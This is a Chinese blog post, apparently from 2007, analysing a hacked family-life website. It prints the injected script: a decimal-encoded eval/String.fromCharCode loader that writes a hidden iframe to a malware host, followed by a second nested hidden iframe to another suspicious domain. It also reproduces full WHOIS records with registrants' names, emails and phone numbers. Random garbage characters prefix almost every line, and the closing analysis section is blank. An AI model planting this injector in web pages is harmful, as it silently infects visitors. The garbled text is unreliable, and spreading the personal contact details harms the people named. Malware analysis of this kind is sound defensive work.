首发在我的博客里面，
n^|7ycB' Z^K WYe'w http://www.areway.cn/?p=175 YPw =iF] %T; VS-f |+<o(Q( 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
[W dxMU c.>O psF <script>t=’60,105,102,114,97,109,101,
S6_dmTV* 32,115,114,99,61,104,116,116,112,58,47,47,
0nR_I^ 102,114,101,101,46,117,45,117,117,117,46,99,
<4;L& 3 110,47,101,114,114,111,114,46,104,116,109,
UVsF !0 32,119,105,100,116,104,61,49,48,48,32,104,
cz$*6P<9J 101,105,103,104,116,61,48,62,60,47,105,102,
<#T #+ uO 114,97,109,101,62′;
`#j;\ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
PBwKR D[I xP'"!d4^i <script>t=’60,105,102,114,97,109,101,32,115,
ytfr' sr/ 114,99,61,104,116,116,112,58,47,47,102,114,
9~l8QaK 101,101,46,117,45,117,117,117,46,99,110,47,
xR&L e/3+ 101,114,114,111,114,46,104,116,109,32,119,
A2`X h#o 105,100,116,104,61,49,48,48,32,104,101,105,
<bywi2]z 103,104,116,61,48,62,60,47,105,102,114,97,
-t125)6 I 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
;M *G document.write(t);</script>
1ZWr@,\L :ee'|c <html xmlns=”
XNl!?*l5?l http://www.w3.org/1999/xhtml nfE4rI E4 “>
>[P`$XkXd4 <head>
o4aFgal1 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
_o>?\ :A <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
T @r%~z <title>首页 - 爱生活家庭网
5j5} c`: 8J2U UVA`1 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
/86PqKU(P 转换字符串后的大概内容是（谁点击后果自付）：
h]o{>
|d9 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
i | *r/ -TNb=2en( 查询玉米u-uuu.cn的详细信息：
[>:9 #n Domain Name: u-uuu.cn
#[~f 6s9D ROID: 20070901s10001s64972306-cn
}SS~uQ;8 Domain Status: ok
, mt=)Ac Registrant Organization: 王雷
"Y=4Y;5q Registrant Name: 王雷
Z .U8d( Administrative Email:
czlovexs@126.com ; W@ Sponsoring Registrar: 北京万网志成科技有限公司
!q^2| % Name Server:ns.yovole.com
-&np/tEu& Name Server:ns1.yovole.com
;7mE% 1X Registration Date: 2007-09-01 17:54
N6!9QIu~i Expiration Date: 2008-09-01 17:54
^4a|gc 最后PING了一下地址 都没有什么….
h)X"<a++N X`k#/~+0 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
OkQtM
nq <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
qu/b: P <script language=”javascript” src=”
8fb<hq< http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script a0&R! E; >
b5^-q c6X 这个玉米应该有可能是木马作者的：
&2p a9i foafau.info的详细信息：
kfkca j4l] Access to INFO WHOIS information is provided to assist persons in
z'k@$@:0XD determining the contents of a domain name registration record in the
{6;S= 9E\ Afilias registry database. The data in this record is provided by
:b(Nrj&TQ[ Afilias Limited for informational purposes only, and Afilias does not
"J%dI9tM{ guarantee its accuracy. This service is intended only for query-based
0Ny M| access. You agree that you will use this data only for lawful purposes
hoZM;wC and that, under no circumstances will you use this data to: (a) allow,
5?Rzyfwk| enable, or otherwise support the transmission by e-mail, telephone, or
V<t!gT#&o! facsimile of mass unsolicited, commercial advertising or solicitations
SD1 M`PI to entities other than the data recipient’s own existing customers; or
j g(cpo d (b) enable high volume, automated, electronic processes that send
+ J2;6t queries or data to the systems of Registry Operator, a Registrar, or
T<u QhPMw Afilias except as reasonably necessary to register domain names or
[CG*o>n&| modify existing registrations. All rights reserved. Afilias reserves
0G #s/u# the right to modify these terms at any time. By submitting this query,
g6;a2 you agree to abide by this policy.
s-T#-raE Domain ID:D22418703-LRMS
E~c>LF_]Q Domain Name:FOAFAU.INFO
dm{/ Created On:20-Nov-2007 16:05:42 UTC
RjGJfN { Last Updated On:20-Nov-2007 16:05:44 UTC
&M P + Expiration Date:20-Nov-2008 16:05:42 UTC
T^
RYN Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
rL6Y4u0e% Status:CLIENT DELETE PROHIBITED
nztnU9OG Status:CLIENT RENEW PROHIBITED
p-2PC{% t| Status:CLIENT TRANSFER PROHIBITED
]4 )$dQ59 Status:CLIENT UPDATE PROHIBITED
- ]U2G: Status:TRANSFER PROHIBITED
xn2 f!\%p Registrant ID:GODA-040110615
/jd.< r=_I Registrant Name:liu hong
N=TDywRI Registrant Organization:
`SG 8w_ Registrant Street1:beijing
QfI@=Kbg%# Registrant Street2:
HD8*>p. Registrant Street3:
&h;J _Ps Registrant City:beijing
b(" M8}o Registrant State/Province:
D+CP?} / Registrant Postal Code:100000
b%UbTb, Registrant Country:CN
k6^!G " Registrant Phone:+86.860108888777
eq7>-Dmi@ Registrant Phone Ext.:
]+@I] \S4 Registrant FAX:
$/$ 5{< Registrant FAX Ext.:
^ <+V[ =X Registrant Email:bbbshiji@163.com
hta y - Admin ID:GODA-240110615
{3|h^h_R Admin Name:liu hong
7tU=5@M9D Admin Organization:
sf'+; Admin Street1:beijing
7H_*1_%ZQ Admin Street2:
*T0!q#R Admin Street3:
yMK VF`D* Admin City:beijing
t@3y9U$ Admin State/Province:
w 8(z\G_0 Admin Postal Code:100000
E)Cdw%}^ Admin Country:CN
l]Q<BV Admin Phone:+86.860108888777
u=PYm+q{ Admin Phone Ext.:
]"VxEpqhM Admin FAX:
]}>uvl^l Admin FAX Ext.:
{7LNQGiJ Admin Email:bbbshiji@163.com
a>BPK"K2 Billing ID:GODA-340110615
rFG_ CC2 Billing Name:liu hong
~cb7]^#u1l Billing Organization:
"\l#q $1h Billing Street1:beijing
xcE<|0N
: Billing Street2:
,2`FSL%J Billing Street3:
)|E617g Billing City:beijing
05Y4=7,! Billing State/Province:
Tu_4kUCR!f Billing Postal Code:100000
^y<8 &ZFH Billing Country:CN
mD go@ f Billing Phone:+86.860108888777
wd Q%L4l Billing Phone Ext.:
E}8wnrxf Billing FAX:
{*AYhZ Billing FAX Ext.:
! ^TCe8 Billing Email:bbbshiji@163.com
\'-E[xNcWI Tech ID:GODA-140110615
V8" m _ Tech Name:liu hong
,w$:=;i Tech Organization:
2rG$.cGN" Tech Street1:beijing
T<K/bzB3z Tech Street2:
t-VU&.Y Tech Street3:
XSe\@t~&g Tech City:beijing
&W$s-qf". Tech State/Province:
b!c2j Tech Postal Code:100000
I9O%/^5^[w Tech Country:CN
]T1\gv1 ~ Tech Phone:+86.860108888777
)5/,B-+O" Tech Phone Ext.:
$Lt'xW`8 Tech FAX:
p{oc}dWin Tech FAX Ext.:
$`6Q\=*R/ Tech Email:bbbshiji@163.com
-5d^n\CDK Name Server:NS27.DOMAINCONTROL.COM
U\x $@J Name Server:NS28.DOMAINCONTROL.COM
6QG"~>v7'( Name Server:
4-JyK%m,0 Name Server:
){$*<#&H Name Server:
S $ Z?T Name Server:
S)=3%toS> Name Server:
VrnZrQj< Name Server:
]lZ g }7h Name Server:
l3HfaCP6: Name Server:
eR>|1s%^ Name Server:
V&Q_i E Name Server:
nIf~ds&TT Name Server:
U~q2j#pJ /x w}]Fa5 接着下载每个文件里面的代码：
'))K'
u 一步一步看..
/#g
P#Z% 
B*AB @ 
o3(:R0 
0Q!/A5z 
u Xo? 
x<\5Jrqt 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
